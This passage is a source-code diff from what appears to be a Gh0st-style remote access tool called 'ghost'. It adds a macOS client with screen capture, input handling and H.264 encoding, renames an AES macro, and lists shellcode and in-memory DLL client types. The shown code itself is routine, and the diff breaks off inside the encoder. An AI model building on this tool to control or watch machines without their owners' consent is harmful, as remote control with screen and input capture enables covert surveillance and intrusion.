VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
Binary file not shown.
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
|
||||
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
|
||||
This is an implementation of the AES algorithm, specifically ECB, AES_MODE_CTR and CBC mode.
|
||||
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
|
||||
|
||||
The implementation is verified against the test vectors in:
|
||||
@@ -221,7 +221,7 @@ void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
}
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
@@ -528,7 +528,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
@@ -560,5 +560,5 @@ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
}
|
||||
}
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
|
||||
14
common/aes.h
14
common/aes.h
@@ -7,7 +7,7 @@
|
||||
// #define the macros below to 1/0 to enable/disable the mode of operation.
|
||||
//
|
||||
// CBC enables AES encryption in CBC-mode of operation.
|
||||
// CTR enables encryption in counter-mode.
|
||||
// AES_MODE_CTR enables encryption in counter-mode.
|
||||
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
|
||||
|
||||
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
|
||||
@@ -19,8 +19,8 @@
|
||||
#define ECB 1
|
||||
#endif
|
||||
|
||||
#ifndef CTR
|
||||
#define CTR 1
|
||||
#ifndef AES_MODE_CTR
|
||||
#define AES_MODE_CTR 1
|
||||
#endif
|
||||
|
||||
|
||||
@@ -43,13 +43,13 @@
|
||||
|
||||
struct AES_ctx {
|
||||
uint8_t RoundKey[AES_keyExpSize];
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
|
||||
uint8_t Iv[AES_BLOCKLEN];
|
||||
#endif
|
||||
};
|
||||
|
||||
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
|
||||
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
|
||||
#endif
|
||||
@@ -75,7 +75,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
#endif // #if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
// Same function for encrypting as for decrypting.
|
||||
// IV is incremented for every block, and used after encryption as XOR-compliment for output
|
||||
@@ -84,7 +84,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
// no IV should ever be reused with the same key
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
|
||||
#endif // _AES_H_
|
||||
|
||||
@@ -41,7 +41,10 @@
|
||||
typedef int64_t __int64;
|
||||
typedef uint16_t WORD;
|
||||
typedef uint32_t DWORD;
|
||||
typedef int BOOL, SOCKET;
|
||||
#ifndef BOOL
|
||||
typedef bool BOOL;
|
||||
#endif
|
||||
typedef int SOCKET;
|
||||
typedef unsigned int ULONG;
|
||||
typedef unsigned int UINT;
|
||||
typedef void VOID;
|
||||
@@ -533,6 +536,7 @@ enum {
|
||||
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
|
||||
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
|
||||
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
|
||||
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
|
||||
};
|
||||
|
||||
enum {
|
||||
@@ -558,6 +562,8 @@ inline const char* GetClientType(int typ)
|
||||
return "MDLL";
|
||||
case CLIENT_TYPE_LINUX:
|
||||
return "LNX";
|
||||
case CLIENT_TYPE_MACOS:
|
||||
return "MAC";
|
||||
default:
|
||||
return "DLL";
|
||||
}
|
||||
|
||||
@@ -27,7 +27,7 @@ typedef struct {
|
||||
} Timed;
|
||||
} Config;
|
||||
|
||||
unsigned __int64 LastRunTime;
|
||||
uint64_t LastRunTime;
|
||||
unsigned char CurrentCount;
|
||||
unsigned char MaxCount;
|
||||
} ScheduleParams;
|
||||
@@ -48,17 +48,13 @@ public:
|
||||
|
||||
// --- 2. 启动执行模式 (Mode 1) ---
|
||||
if (p->Mode == SCH_MODE_STARTUP) {
|
||||
static bool bSessionLocked = false;
|
||||
if (bSessionLocked) return false;
|
||||
|
||||
// 检查时间间隔限制
|
||||
if (p->Config.Startup.Interval > 0 && p->LastRunTime > 0) {
|
||||
unsigned __int64 diffSec = (now - p->LastRunTime) / 10000000ULL;
|
||||
if (diffSec < (unsigned __int64)p->Config.Startup.Interval) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bSessionLocked = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
BIN
linux/lib/libzstd.a
Normal file
BIN
linux/lib/libzstd.a
Normal file
Binary file not shown.
73
macos/CMakeLists.txt
Normal file
73
macos/CMakeLists.txt
Normal file
@@ -0,0 +1,73 @@
|
||||
cmake_minimum_required(VERSION 3.15)
|
||||
project(ghost_macos)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
# macOS deployment target
|
||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version")
|
||||
|
||||
# Universal Binary (Intel + Apple Silicon)
|
||||
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures")
|
||||
|
||||
include_directories(../)
|
||||
include_directories(../client)
|
||||
include_directories(../compress)
|
||||
|
||||
# Source files
|
||||
set(SOURCES
|
||||
main.mm
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
ScreenHandler.mm
|
||||
InputHandler.mm
|
||||
SystemManager.mm
|
||||
Permissions.mm
|
||||
H264Encoder.mm
|
||||
)
|
||||
|
||||
# Create executable
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
# Include directories
|
||||
target_include_directories(ghost PRIVATE
|
||||
${CMAKE_CURRENT_SOURCE_DIR}
|
||||
)
|
||||
|
||||
# Find and link macOS frameworks
|
||||
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
|
||||
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
|
||||
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
|
||||
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
|
||||
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
|
||||
find_library(SECURITY_FRAMEWORK Security REQUIRED)
|
||||
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
|
||||
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
|
||||
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
|
||||
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
|
||||
|
||||
target_link_libraries(ghost PRIVATE
|
||||
${COCOA_FRAMEWORK}
|
||||
${COREGRAPHICS_FRAMEWORK}
|
||||
${IOKIT_FRAMEWORK}
|
||||
${IOSURFACE_FRAMEWORK}
|
||||
${APPLICATIONSERVICES_FRAMEWORK}
|
||||
${SECURITY_FRAMEWORK}
|
||||
${CARBON_FRAMEWORK}
|
||||
${VIDEOTOOLBOX_FRAMEWORK}
|
||||
${COREMEDIA_FRAMEWORK}
|
||||
${COREVIDEO_FRAMEWORK}
|
||||
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
|
||||
)
|
||||
|
||||
# Compiler flags
|
||||
target_compile_options(ghost PRIVATE
|
||||
-Wall
|
||||
-Wextra
|
||||
-fobjc-arc
|
||||
)
|
||||
|
||||
# Output directory
|
||||
set_target_properties(ghost PROPERTIES
|
||||
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
|
||||
)
|
||||
86
macos/H264Encoder.h
Normal file
86
macos/H264Encoder.h
Normal file
@@ -0,0 +1,86 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <vector>
|
||||
#include <mutex>
|
||||
#include <atomic>
|
||||
#import <VideoToolbox/VideoToolbox.h>
|
||||
#import <CoreMedia/CoreMedia.h>
|
||||
|
||||
class H264Encoder {
|
||||
public:
|
||||
H264Encoder();
|
||||
~H264Encoder();
|
||||
|
||||
// Initialize encoder
|
||||
// @param width: frame width
|
||||
// @param height: frame height
|
||||
// @param fps: target frame rate
|
||||
// @param bitrate: target bitrate in kbps (0 = auto)
|
||||
bool open(int width, int height, int fps, int bitrate = 0);
|
||||
|
||||
// Close encoder and release resources
|
||||
void close();
|
||||
|
||||
// Check if encoder is open
|
||||
bool isOpen() const { return m_session != nullptr; }
|
||||
|
||||
// Encode a frame
|
||||
// @param bgra: BGRA pixel data (bottom-up or top-down)
|
||||
// @param bpp: bits per pixel (32 for BGRA)
|
||||
// @param stride: bytes per row
|
||||
// @param width: frame width
|
||||
// @param height: frame height
|
||||
// @param outData: pointer to receive encoded data pointer
|
||||
// @param outSize: pointer to receive encoded data size
|
||||
// @param flipVertical: true if image is bottom-up (BMP format)
|
||||
// @return: encoded size, or 0 on failure
|
||||
int encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
uint8_t** outData, uint32_t* outSize,
|
||||
bool flipVertical = true);
|
||||
|
||||
// Force next frame to be keyframe
|
||||
void forceKeyframe() { m_forceKeyframe = true; }
|
||||
|
||||
// Get last error message
|
||||
const char* getLastError() const { return m_lastError; }
|
||||
|
||||
private:
|
||||
// VideoToolbox compression callback
|
||||
static void compressionCallback(void* outputCallbackRefCon,
|
||||
void* sourceFrameRefCon,
|
||||
OSStatus status,
|
||||
VTEncodeInfoFlags infoFlags,
|
||||
CMSampleBufferRef sampleBuffer);
|
||||
|
||||
// Process encoded sample buffer
|
||||
void processSampleBuffer(CMSampleBufferRef sampleBuffer);
|
||||
|
||||
// Convert BGRA to I420 (YUV)
|
||||
void convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
bool flipVertical);
|
||||
|
||||
private:
|
||||
VTCompressionSessionRef m_session;
|
||||
|
||||
int m_width;
|
||||
int m_height;
|
||||
int m_fps;
|
||||
int m_bitrate;
|
||||
|
||||
// YUV buffers
|
||||
std::vector<uint8_t> m_yPlane;
|
||||
std::vector<uint8_t> m_uPlane;
|
||||
std::vector<uint8_t> m_vPlane;
|
||||
|
||||
// Output buffer
|
||||
std::vector<uint8_t> m_outputBuffer;
|
||||
std::mutex m_outputMutex;
|
||||
|
||||
// State
|
||||
std::atomic<bool> m_forceKeyframe;
|
||||
int64_t m_frameCount;
|
||||
char m_lastError[256];
|
||||
};
|
||||
521
macos/H264Encoder.mm
Normal file
521
macos/H264Encoder.mm
Normal file
@@ -0,0 +1,521 @@
|
||||
#import "H264Encoder.h"
|
||||
#import <VideoToolbox/VideoToolbox.h>
|
||||
#import <CoreMedia/CoreMedia.h>
|
||||
#import <CoreVideo/CoreVideo.h>
|
||||
#import <Cocoa/Cocoa.h>
|
||||
|
||||
H264Encoder::H264Encoder()
|
||||
: m_session(nullptr)
|
||||
, m_width(0)
|
||||
, m_height(0)
|
||||
, m_fps(30)
|
||||
, m_bitrate(0)
|
||||
, m_forceKeyframe(false)
|
||||
, m_frameCount(0)
|
||||
{
|
||||
m_lastError[0] = '\0';
|
||||
}
|
||||
|
||||
H264Encoder::~H264Encoder()
|
||||
{
|
||||
close();
|
||||
}
|
||||
|
||||
bool H264Encoder::open(int width, int height, int fps, int bitrate)
|
||||
{
|
||||
close();
|
||||
|
||||
// Width and height must be even for H264
|
||||
m_width = width & ~1;
|
||||
m_height = height & ~1;
|
||||
m_fps = fps > 0 ? fps : 30;
|
||||
m_bitrate = bitrate > 0 ? bitrate : (m_width * m_height * 3); // ~3 bits per pixel default
|
||||
|
||||
// Allocate YUV buffers
|
||||
int ySize = m_width * m_height;
|
||||
int uvSize = (m_width / 2) * (m_height / 2);
|
||||
m_yPlane.resize(ySize);
|
||||
m_uPlane.resize(uvSize);
|
||||
m_vPlane.resize(uvSize);
|
||||
|
||||
// Reserve output buffer
|
||||
m_outputBuffer.reserve(m_width * m_height);
|
||||
|
||||
// Create compression session
|
||||
CFMutableDictionaryRef encoderSpec = CFDictionaryCreateMutable(
|
||||
kCFAllocatorDefault, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks
|
||||
);
|
||||
|
||||
// Prefer hardware encoder
|
||||
CFDictionarySetValue(encoderSpec,
|
||||
kVTVideoEncoderSpecification_EnableHardwareAcceleratedVideoEncoder,
|
||||
kCFBooleanTrue);
|
||||
|
||||
// Source image attributes
|
||||
CFMutableDictionaryRef sourceAttrs = CFDictionaryCreateMutable(
|
||||
kCFAllocatorDefault, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks
|
||||
);
|
||||
|
||||
int32_t pixelFormat = kCVPixelFormatType_420YpCbCr8Planar; // I420
|
||||
CFNumberRef pixelFormatNum = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pixelFormat);
|
||||
CFDictionarySetValue(sourceAttrs, kCVPixelBufferPixelFormatTypeKey, pixelFormatNum);
|
||||
CFRelease(pixelFormatNum);
|
||||
|
||||
int32_t widthNum = m_width;
|
||||
int32_t heightNum = m_height;
|
||||
CFNumberRef widthRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &widthNum);
|
||||
CFNumberRef heightRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &heightNum);
|
||||
CFDictionarySetValue(sourceAttrs, kCVPixelBufferWidthKey, widthRef);
|
||||
CFDictionarySetValue(sourceAttrs, kCVPixelBufferHeightKey, heightRef);
|
||||
CFRelease(widthRef);
|
||||
CFRelease(heightRef);
|
||||
|
||||
// Create compression session
|
||||
OSStatus status = VTCompressionSessionCreate(
|
||||
kCFAllocatorDefault,
|
||||
m_width,
|
||||
m_height,
|
||||
kCMVideoCodecType_H264,
|
||||
encoderSpec,
|
||||
sourceAttrs,
|
||||
kCFAllocatorDefault,
|
||||
compressionCallback,
|
||||
this,
|
||||
&m_session
|
||||
);
|
||||
|
||||
CFRelease(encoderSpec);
|
||||
CFRelease(sourceAttrs);
|
||||
|
||||
if (status != noErr) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"VTCompressionSessionCreate failed: %d", (int)status);
|
||||
NSLog(@"H264Encoder: %s", m_lastError);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Configure session properties
|
||||
|
||||
// Real-time encoding
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_RealTime, kCFBooleanTrue);
|
||||
|
||||
// Profile: Baseline for compatibility
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ProfileLevel,
|
||||
kVTProfileLevel_H264_Baseline_AutoLevel);
|
||||
|
||||
// Allow frame reordering: false for low latency
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AllowFrameReordering, kCFBooleanFalse);
|
||||
|
||||
// Max keyframe interval (GOP size) - match Windows x264 setting (15 seconds)
|
||||
int32_t keyframeInterval = m_fps * 15; // Keyframe every 15 seconds
|
||||
CFNumberRef keyframeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &keyframeInterval);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_MaxKeyFrameInterval, keyframeRef);
|
||||
CFRelease(keyframeRef);
|
||||
|
||||
// Expected frame rate
|
||||
CFNumberRef fpsRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_fps);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ExpectedFrameRate, fpsRef);
|
||||
CFRelease(fpsRef);
|
||||
|
||||
// Average bitrate
|
||||
CFNumberRef bitrateRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_bitrate);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AverageBitRate, bitrateRef);
|
||||
CFRelease(bitrateRef);
|
||||
|
||||
// Data rate limits (for more consistent bitrate)
|
||||
// [bytes per second, duration in seconds]
|
||||
int64_t dataRateLimit = m_bitrate / 8;
|
||||
double duration = 1.0;
|
||||
CFNumberRef bytesRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &dataRateLimit);
|
||||
CFNumberRef durationRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberFloat64Type, &duration);
|
||||
CFTypeRef limits[2] = { bytesRef, durationRef };
|
||||
CFArrayRef limitsArray = CFArrayCreate(kCFAllocatorDefault, limits, 2, &kCFTypeArrayCallBacks);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_DataRateLimits, limitsArray);
|
||||
CFRelease(bytesRef);
|
||||
CFRelease(durationRef);
|
||||
CFRelease(limitsArray);
|
||||
|
||||
// Prepare to encode
|
||||
status = VTCompressionSessionPrepareToEncodeFrames(m_session);
|
||||
if (status != noErr) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"VTCompressionSessionPrepareToEncodeFrames failed: %d", (int)status);
|
||||
NSLog(@"H264Encoder: %s", m_lastError);
|
||||
close();
|
||||
return false;
|
||||
}
|
||||
|
||||
m_frameCount = 0;
|
||||
m_forceKeyframe = true; // First frame is always keyframe
|
||||
|
||||
NSLog(@"H264Encoder opened: %dx%d @ %d fps, bitrate=%d",
|
||||
m_width, m_height, m_fps, m_bitrate);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void H264Encoder::close()
|
||||
{
|
||||
if (m_session) {
|
||||
VTCompressionSessionInvalidate(m_session);
|
||||
CFRelease(m_session);
|
||||
m_session = nullptr;
|
||||
}
|
||||
|
||||
m_yPlane.clear();
|
||||
m_uPlane.clear();
|
||||
m_vPlane.clear();
|
||||
m_outputBuffer.clear();
|
||||
}
|
||||
|
||||
void H264Encoder::convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
bool flipVertical)
|
||||
{
|
||||
// Convert BGRA to I420 (YUV 4:2:0 planar)
|
||||
// Y = 0.299*R + 0.587*G + 0.114*B
|
||||
// U = -0.169*R - 0.331*G + 0.500*B + 128
|
||||
// V = 0.500*R - 0.419*G - 0.081*B + 128
|
||||
|
||||
uint8_t* yDst = m_yPlane.data();
|
||||
uint8_t* uDst = m_uPlane.data();
|
||||
uint8_t* vDst = m_vPlane.data();
|
||||
|
||||
int uvWidth = width / 2;
|
||||
|
||||
for (uint32_t y = 0; y < height; y++) {
|
||||
// Source row (handle vertical flip)
|
||||
uint32_t srcY = flipVertical ? (height - 1 - y) : y;
|
||||
const uint8_t* srcRow = bgra + srcY * stride;
|
||||
|
||||
// Y plane destination
|
||||
uint8_t* yRow = yDst + y * width;
|
||||
|
||||
for (uint32_t x = 0; x < width; x++) {
|
||||
uint8_t b = srcRow[x * 4 + 0];
|
||||
uint8_t g = srcRow[x * 4 + 1];
|
||||
uint8_t r = srcRow[x * 4 + 2];
|
||||
|
||||
// Y component
|
||||
int yVal = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
|
||||
yRow[x] = (uint8_t)(yVal < 0 ? 0 : (yVal > 255 ? 255 : yVal));
|
||||
}
|
||||
|
||||
// UV planes (subsampled 2x2)
|
||||
if (y % 2 == 0) {
|
||||
uint8_t* uRow = uDst + (y / 2) * uvWidth;
|
||||
uint8_t* vRow = vDst + (y / 2) * uvWidth;
|
||||
|
||||
for (uint32_t x = 0; x < width; x += 2) {
|
||||
// Average 2x2 block
|
||||
uint32_t srcY2 = flipVertical ? (height - 2 - y) : (y + 1);
|
||||
if (srcY2 >= height) srcY2 = srcY;
|
||||
const uint8_t* srcRow2 = bgra + srcY2 * stride;
|
||||
|
||||
int r = 0, g = 0, b = 0;
|
||||
|
||||
// Top-left
|
||||
b += srcRow[x * 4 + 0];
|
||||
g += srcRow[x * 4 + 1];
|
||||
r += srcRow[x * 4 + 2];
|
||||
|
||||
// Top-right
|
||||
if (x + 1 < width) {
|
||||
b += srcRow[(x + 1) * 4 + 0];
|
||||
g += srcRow[(x + 1) * 4 + 1];
|
||||
r += srcRow[(x + 1) * 4 + 2];
|
||||
}
|
||||
|
||||
// Bottom-left
|
||||
b += srcRow2[x * 4 + 0];
|
||||
g += srcRow2[x * 4 + 1];
|
||||
r += srcRow2[x * 4 + 2];
|
||||
|
||||
// Bottom-right
|
||||
if (x + 1 < width) {
|
||||
b += srcRow2[(x + 1) * 4 + 0];
|
||||
g += srcRow2[(x + 1) * 4 + 1];
|
||||
r += srcRow2[(x + 1) * 4 + 2];
|
||||
}
|
||||
|
||||
r /= 4;
|
||||
g /= 4;
|
||||
b /= 4;
|
||||
|
||||
// U component
|
||||
int uVal = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
|
||||
uRow[x / 2] = (uint8_t)(uVal < 0 ? 0 : (uVal > 255 ? 255 : uVal));
|
||||
|
||||
// V component
|
||||
int vVal = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
|
||||
vRow[x / 2] = (uint8_t)(vVal < 0 ? 0 : (vVal > 255 ? 255 : vVal));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int H264Encoder::encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
uint8_t** outData, uint32_t* outSize,
|
||||
bool flipVertical)
|
||||
{
|
||||
if (!m_session) {
|
||||
snprintf(m_lastError, sizeof(m_lastError), "Encoder not initialized");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (width != (uint32_t)m_width || height != (uint32_t)m_height) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"Frame size mismatch: expected %dx%d, got %dx%d",
|
||||
m_width, m_height, (int)width, (int)height);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Convert BGRA to I420
|
||||
convertBGRAtoI420(bgra, stride, width, height, flipVertical);
|
||||
|
||||
// Create CVPixelBuffer
|
||||
CVPixelBufferRef pixelBuffer = nullptr;
|
||||
NSDictionary* options = @{
|
||||
(id)kCVPixelBufferIOSurfacePropertiesKey: @{}
|
||||
};
|
||||
|
||||
CVReturn cvRet = CVPixelBufferCreate(
|
||||
kCFAllocatorDefault,
|
||||
m_width,
|
||||
m_height,
|
||||
kCVPixelFormatType_420YpCbCr8Planar,
|
||||
(__bridge CFDictionaryRef)options,
|
||||
&pixelBuffer
|
||||
);
|
||||
|
||||
if (cvRet != kCVReturnSuccess) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"CVPixelBufferCreate failed: %d", (int)cvRet);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Lock and copy YUV data
|
||||
CVPixelBufferLockBaseAddress(pixelBuffer, 0);
|
||||
|
||||
size_t planeCount = CVPixelBufferGetPlaneCount(pixelBuffer);
|
||||
if (planeCount < 3) {
|
||||
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
|
||||
CVPixelBufferRelease(pixelBuffer);
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"CVPixelBuffer has %zu planes, expected 3", planeCount);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Y plane
|
||||
uint8_t* yDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 0);
|
||||
size_t yStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 0);
|
||||
for (int y = 0; y < m_height; y++) {
|
||||
memcpy(yDst + y * yStride, m_yPlane.data() + y * m_width, m_width);
|
||||
}
|
||||
|
||||
// U plane
|
||||
uint8_t* uDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 1);
|
||||
size_t uStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 1);
|
||||
int uvHeight = m_height / 2;
|
||||
int uvWidth = m_width / 2;
|
||||
for (int y = 0; y < uvHeight; y++) {
|
||||
memcpy(uDst + y * uStride, m_uPlane.data() + y * uvWidth, uvWidth);
|
||||
}
|
||||
|
||||
// V plane
|
||||
uint8_t* vDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 2);
|
||||
size_t vStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 2);
|
||||
for (int y = 0; y < uvHeight; y++) {
|
||||
memcpy(vDst + y * vStride, m_vPlane.data() + y * uvWidth, uvWidth);
|
||||
}
|
||||
|
||||
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
|
||||
|
||||
// Prepare frame properties
|
||||
CFMutableDictionaryRef frameProps = nullptr;
|
||||
if (m_forceKeyframe.exchange(false)) {
|
||||
frameProps = CFDictionaryCreateMutable(
|
||||
kCFAllocatorDefault, 1,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks
|
||||
);
|
||||
CFDictionarySetValue(frameProps,
|
||||
kVTEncodeFrameOptionKey_ForceKeyFrame,
|
||||
kCFBooleanTrue);
|
||||
}
|
||||
|
||||
// Clear output buffer
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_outputMutex);
|
||||
m_outputBuffer.clear();
|
||||
}
|
||||
|
||||
// Presentation timestamp
|
||||
CMTime pts = CMTimeMake(m_frameCount++, m_fps);
|
||||
|
||||
// Encode frame
|
||||
OSStatus status = VTCompressionSessionEncodeFrame(
|
||||
m_session,
|
||||
pixelBuffer,
|
||||
pts,
|
||||
kCMTimeInvalid,
|
||||
frameProps,
|
||||
nullptr,
|
||||
nullptr
|
||||
);
|
||||
|
||||
if (frameProps) {
|
||||
CFRelease(frameProps);
|
||||
}
|
||||
CVPixelBufferRelease(pixelBuffer);
|
||||
|
||||
if (status != noErr) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"VTCompressionSessionEncodeFrame failed: %d", (int)status);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Wait for encoding to complete
|
||||
VTCompressionSessionCompleteFrames(m_session, kCMTimeInvalid);
|
||||
|
||||
// Return encoded data
|
||||
std::lock_guard<std::mutex> lock(m_outputMutex);
|
||||
if (m_outputBuffer.empty()) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
*outData = m_outputBuffer.data();
|
||||
*outSize = (uint32_t)m_outputBuffer.size();
|
||||
return (int)m_outputBuffer.size();
|
||||
}
|
||||
|
||||
void H264Encoder::compressionCallback(void* outputCallbackRefCon,
|
||||
void* sourceFrameRefCon,
|
||||
OSStatus status,
|
||||
VTEncodeInfoFlags infoFlags,
|
||||
CMSampleBufferRef sampleBuffer)
|
||||
{
|
||||
(void)sourceFrameRefCon;
|
||||
(void)infoFlags;
|
||||
|
||||
H264Encoder* encoder = (H264Encoder*)outputCallbackRefCon;
|
||||
|
||||
if (status != noErr) {
|
||||
NSLog(@"H264Encoder: Compression callback error: %d", (int)status);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!sampleBuffer) {
|
||||
return;
|
||||
}
|
||||
|
||||
encoder->processSampleBuffer(sampleBuffer);
|
||||
}
|
||||
|
||||
void H264Encoder::processSampleBuffer(CMSampleBufferRef sampleBuffer)
|
||||
{
|
||||
// Check if keyframe
|
||||
CFArrayRef attachments = CMSampleBufferGetSampleAttachmentsArray(sampleBuffer, false);
|
||||
bool isKeyframe = false;
|
||||
if (attachments && CFArrayGetCount(attachments) > 0) {
|
||||
CFDictionaryRef dict = (CFDictionaryRef)CFArrayGetValueAtIndex(attachments, 0);
|
||||
CFBooleanRef notSync = (CFBooleanRef)CFDictionaryGetValue(dict,
|
||||
kCMSampleAttachmentKey_NotSync);
|
||||
isKeyframe = (notSync == nullptr || !CFBooleanGetValue(notSync));
|
||||
}
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_outputMutex);
|
||||
